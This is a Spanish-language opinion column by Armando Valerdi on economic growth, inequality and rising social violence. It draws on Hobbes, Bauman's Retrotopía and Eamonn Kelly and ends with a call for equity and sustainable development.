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Semillas del Futuro: ¿De vuelta a Hobbes?

ARMANDO VALERDI
avalerdir@hotmail.com

Al siglo XX, posiblemente lo podemos considerar hasta ahora como el más notable, durante el
cual nos acostumbramos a un asombroso crecimiento económico y a una creciente
prosperidad, con un aumento de la población a seis veces más, hasta superar los seis mil
millones de personas; también en el incremento del Producto Interno Bruto (PIB) per cápita,
que llevo a que hubiera una mejor condición de prosperidad para muchos.
Esta condición hizo que el concepto de crecimiento acelerado y exponencial se arraigara en
nuestras expectativas al ver la producción económica de este solo siglo sobrepasaba la de toda
la historia anterior. Sin embargo, con la prosperidad también se produjo una mayor
polarización. Los ricos se separaron cada vez más de los pobres del mundo. El mismo
dinamismo económico y tecnológico que disparo la prosperidad también trajo
restructuraciones y ajustes industriales que fueron experimentados desigualmente en las
regiones y ocupaciones; incluso en los países desarrollados, muchos fueron víctimas de los
choques y fricciones asociados con el crecimiento rápido. Probablemente estas condiciones
nos explican el incremento de la violencia, exacerbada por las redes sociales, y que junto con la
descomposición social, se presentan como signos de nuestros tiempos, recordándonos el
animal que llevamos dentro, de acuerdo al filósofo inglés del siglo XVIII Thomas Hobbes que en
su obra El Leviatán (1651) para referirse a que el estado natural del hombre lo lleva a una la
lucha continua contra su prójimo, utilizo la frase, "El hombre es un lobo para el hombre".
Al respecto Zygmunt Bauman en su libro Retrotopía publicado en 2017, en el capítulo 1 del
libro, el encabezado inicia con la pregunta ¿De vuelta a Hobbes?, en el que menciona que “El
proceso civilizador que se suponía que el Estado moderno se había encargado de diseñar,
llevar a cabo y supervisar se parece cada vez más a como Norbert Elías nos lo presento, es
decir, a una reforma de los modales humanos, que no de las humanas capacidades, las
predicciones y los impulsos”. Y que “El animal hobbesiano encerrado en el ser humano salió de
la reforma moderna de los modales intacto y sin domar, potente, rudimentario, rosco, zafio,
grosero y en perfecto estado de conservación: el proceso civilizador solo había conseguido
revestirlo de cierta patina o externalizarlo (como cuando la agresividad se transfiere de
campos de batalla a los campos de fútbol), pero no remediarlo ni, menos aún, exorcizarlo”.
“Ese animal vive aguardando su momento, preparado para borrar la terriblemente fina capa
de decoro convencional que nos recubre y que está ahí para esconder esa parte tan poco
atractiva de nosotros, que no para reprimir y contener lo siniestro y lo sangriento”.
Bauman abunda diciendo que “Lo que hemos comprendido es que, en vez de aspirar a esa
batalla que lo decidirá todo en ultima y victoriosa instancia entre calma (por un lado) y
violencia (por el otro), lo que tenemos es que prepararnos más bien para una sucesión
infinitamente larga de acciones proactivas neutralizadoras”. “Parece que nos estamos
haciendo a la idea de la posibilidad de una guerra hasta la extenuación, continua y nunca
decisiva, entre una violencia buena (desplegada en nombre de la ley y el orden, comoquiera
que los definamos) y una violencia mala (perpetrada con el fin de debilitar, quebrar e
incapacitar la versión actual de la ley y el orden, pero que es mala también porque tienta
insidiosamente a las fuerzas de la violencia buena para que adopten los instrumentos y las
estrategias de su enemiga). Por todo esto Bauman apunta que, “No nos queda más remedio

que clasificar la utopía de un mundo sin violencia como una de las ideas hermosas, pero, por
desgracia, también una de las más inalcanzables.
¿Cómo explicar el poco previsto (aunque no por ello menos radical y trascendental) giro en el
modo en que tendemos a concebir el fenómeno de la violencia? ¿Podríamos entonces
considerar ese estallido de violencia altamente visible y palpable un efecto de la
transformación de las fronteras por los actuales procesos de la globalización? ¿Acaso el giro en
nuestro modo de pensar puede entenderse mejor como como un efecto derivado del cambio
en la practica de unos Estados que han abandonado la realidad—aunque no lo han reconocido
explícitamente así—su anterior aspiración a ejercer el monopolio sobre los medios coercitivos
y sobre la aplicación de la coerción. O a lo mejor, el derecho a trazar la línea de separación
entre la coerción legitima (es decir, la que ayuda a la preservación del orden) y la ilegitima (la
que provoca la alteración o el socavamiento de ese orden), que antes se creía prerrogativa de
unos agentes muy selectos e inequívocamente establecidos, se ha sumado a la imparable
creciente lista de temas esencialmente controvertidos.
Eamonn Kelly dice al respecto que “Nuestra trágica especie, condenada por su propia
arrogancia y sus constantes e insatisfechos esfuerzos, está a punto de recoger la cosecha
catastrófica que ha estado sembrando ciegamente durante siglos. Por culpa de nuestra sed de
consumir y prosperar, hemos hecho grandes estragos económicos en el medio ambiente y las
sociedades humanas. Los valores basados que hemos adoptado han permitido que compañías
amorales marquen la pauta de nuestro tiempo. Nos hemos dejado llevar por una medida
simplista del progreso que pone demasiado énfasis en lo material y niega lo espiritual y lo
humano. Hemos permitido que se ahonde aceleradamente el abismo entre ricos y pobres”. Por
todo esto es importante que las sociedades se preparen y concentren en resolver los temas
esenciales de la equidad, la transición y el desarrollo sostenible. Gracias

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